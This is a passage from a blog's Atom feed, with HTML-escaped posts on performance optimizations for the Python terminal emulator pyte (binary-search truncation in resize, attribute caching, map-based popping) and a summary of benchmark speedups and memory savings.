        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The call to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; removes the entry and the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; stores it back in the new index avoiding reading or writing any false entry.&lt;/p&gt;
&lt;p&gt;Once all the algorithms are reimplemented, we must change &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; from a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;defaultdict&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;dict&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to prevent any accidental false entry.&lt;/p&gt;
&lt;h2 id="binary-searches"&gt;Binary searches&lt;/h2&gt;
&lt;p&gt;When &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;resize&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is called and if the screen shrinks, all the lines of the screen are truncated to the new width.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;resize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# [...]&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;columns&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;values&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# [...]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Popping out all the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; entries that are greater than the new &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;columns&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is correct but we can do it better.&lt;/p&gt;
&lt;p&gt;You see, most of the entries in the line will not exist really and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will have no effect on the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (except consuming time!).&lt;/p&gt;
&lt;p&gt;With a binary search we can find in \(log(n)\) the first non-empty &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and delete from there.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;resize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# [...]&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;columns&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;values&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="n"&gt;non_empty_x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;begin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bisect_left&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;non_empty_x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;non_empty_x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;:]:&lt;/span&gt;
                &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# [...]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Technically this is still \(O(n)\) but it should be iterate over lesser entries than the former &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mf"&gt;0.8.1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; version.&lt;/p&gt;
&lt;h2 id="the-good-old-python-tricks"&gt;The good old Python tricks&lt;/h2&gt;
&lt;p&gt;At least for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mf"&gt;3.10&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, Python still does not cache any attribute lookup so a easy win is to it ourselves, specially with the lookup is in a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;-loop:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;resize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# [...]&lt;/span&gt;
    &lt;span class="n"&gt;buffer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;columns&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;values&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="n"&gt;non_empty_x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;pop&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;
            &lt;span class="n"&gt;begin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bisect_left&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;non_empty_x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;non_empty_x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;:]:&lt;/span&gt;
                &lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# [...]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, we have an additional low-hanging fruit: the inner &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;-loop calls repetitively the same function over a sequence.&lt;/p&gt;
&lt;p&gt;Does that ring any bells to you?&lt;/p&gt;
&lt;p&gt;Replacing a loop with a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;map&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; moves the loop into C and because &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; too, it is even faster:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;resize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# [...]&lt;/span&gt;
    &lt;span class="n"&gt;buffer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;columns&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;values&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="n"&gt;non_empty_x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;pop&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;
            &lt;span class="n"&gt;begin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bisect_left&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;non_empty_x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

            &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;non_empty_x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;:]))&lt;/span&gt;
    &lt;span class="c1"&gt;# [...]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="dont-do-what-you-dont-need"&gt;Don’t do what you don’t need&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; tracks which lines were modified in a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;dirty&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; set but &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;byexample&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (and maybe other users) does not need it.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;byexample&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;em&gt;renders&lt;/em&gt; the whole screen as a single string calling screen.display so it does not care what lines changed or not.&lt;/p&gt;
&lt;p&gt;For the same reason emulating things like colores and styles is pointless.&lt;/p&gt;
&lt;p&gt;As part of the optimizations now &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; can optionally disable those.&lt;/p&gt;
&lt;h2 id="faster-but-how-much-faster"&gt;&lt;em&gt;“faster”&lt;/em&gt;, but how &lt;em&gt;much&lt;/em&gt; faster?&lt;/h2&gt;
&lt;p&gt;All the gory details are in the &lt;a href="/articles/2022/07/14/TLDR-Screen-Optimizations-Results.html"&gt;TL;DR post&lt;/a&gt; but here is a quick summary:&lt;/p&gt;
&lt;p&gt;At minimum, a humble 2 times faster for small geometries but for large geometries the speed up goes up to 7 times faster and if the screen is tuned, up to 12 times.&lt;/p&gt;
&lt;p&gt;An for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;display&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, the speed up is insanely huge: 600000 times! But it has a more modest common case of 10 to 200 times faster.&lt;/p&gt;
&lt;p&gt;Memory usage was also optimized from 1.10 and 50 times better.&lt;/p&gt;
&lt;p&gt;Not everything was improved however: some test cases had a small regression and one had up to 5 times slower (boomers) but in general there was a lot of profit on the improvements.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2022/07/15/Sparse-Aware-Optimizations-for-Terminal-Emulator-Pyte.html" rel="alternate" type="text/html" title="Sparse Aware Optimizations for Terminal Emulator Pyte"/>
    <category term="python" label="python"/>
    <category term="pyte" label="pyte"/>
    <category term="byexample" label="byexample"/>
    <category term="optimization" label="optimization"/>
    <category term="performance" label="performance"/>
    <published>2022-07-15T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2022/07/14/TLDR-Screen-Optimizations-Results.html</id>
    <title>TL;DR Screen Optimizations Results for Terminal Emulator Pyte</title>
    <updated>2022-07-14T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;This post describes to some level of detail all the performance boosts and speedups due the &lt;a href="https://github.com/byexamples/pyte/tree/Screen-Optimizations"&gt;optimizations contributed&lt;/a&gt; to &lt;a href="https://github.com/selectel/pyte"&gt;pyte&lt;/a&gt; and &lt;a href="/articles/2022/07/15/Sparse-Aware-Optimizations-for-Terminal-Emulator-Pyte.html"&gt;summarized here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;For large geometries (240x800, 2400x8000), &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;display&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; runs orders of magnitud faster and consumes between 1.10 and 50.0 times less memory.&lt;/p&gt;
&lt;p&gt;For smaller geometries the minimum improvement was of 2 times faster.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Stream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;feed&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is now between 1.10 and 7.30 times faster and if &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is tuned, the speedup is between 1.14 and 12.0.&lt;/p&gt;
&lt;p&gt;For memory usage, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Stream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;feed&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is between 1.10 and 17.0 times lighter and up to 44.0 times lighter if &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is tuned.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reset&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is between 1.10 and 1.50 slower but several cases improve if the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is tuned (but not all).&lt;/p&gt;
&lt;p&gt;However there are a few regressions, most of them small but some up to 4 times.&lt;/p&gt;
&lt;p&gt;At the moment of writing this post, the PR is still pending to review. &lt;!--more--&gt;&lt;/p&gt;
&lt;h1 id="what-is-this-pr-about"&gt;What is this PR about?&lt;/h1&gt;
&lt;p&gt;Optimization. My goal was to make &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; faster and lighter specially for large geometries (think in a screen of 240x800 or 2400x8000 size).&lt;/p&gt;
&lt;h1 id="context-background"&gt;Context (background)&lt;/h1&gt;
&lt;p&gt;While &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; implements a sparse buffer, most of its algorithms are not aware and they don’t take advantage of that making the terminal emulation really slow and consuming a lot of memory.&lt;/p&gt;
&lt;h1 id="contributions"&gt;Contributions&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Upgrade &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyperf&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Extended the benchmark tests to test &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;display&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;resize&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reset&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; under different geometries (24x80, 240x800, 2400x8000, 24x8000, 2400x80). With these the benchmark takes much more time (sorry!) but it gives a deeper view of how &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; works.&lt;/li&gt;
&lt;li&gt;Fixed a bug in the benchmarks that used &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Stream&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; instead of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ByteStream&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. The use of the former led to an incorrect interpretation of the new lines; the use of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ByteStream&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; fixed that and it is aligned with the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;test_input_output&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; tests.&lt;/li&gt;
&lt;li&gt;Optimize &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;display&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to work (approx) linearly with the input and not with the size of the screen (quadratic). Improved by a lot both for runtime and memory (specially for large geometries).&lt;/li&gt;
&lt;li&gt;Implement &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;compressed_display&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; that works similar to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;display&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but it allows to &lt;em&gt;“strip”&lt;/em&gt; empty space from the left or right and &lt;em&gt;“filter”&lt;/em&gt; empty lines on top and bottom of the screen reducing time and memory.&lt;/li&gt;
&lt;li&gt;Optimize &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;draw&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; with caching of attributes and methods (the same optimizations already present in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Stream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_parser_fsm&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Refactor out &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Char&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;’s foreground, bold, blink (…) into a separated &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;namedtuple&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;CharStyle&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. When possible, reuse the same style for multiple characters reducing the memory usage at the expense of an additional lookup (instead of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;char&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fg&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; you have &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;char&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;style&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fg&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Make &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Char&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; a mutable object allowing changes in the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;width&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; fields to be in-place instead of creating a new &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Char&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; object.&lt;/li&gt;
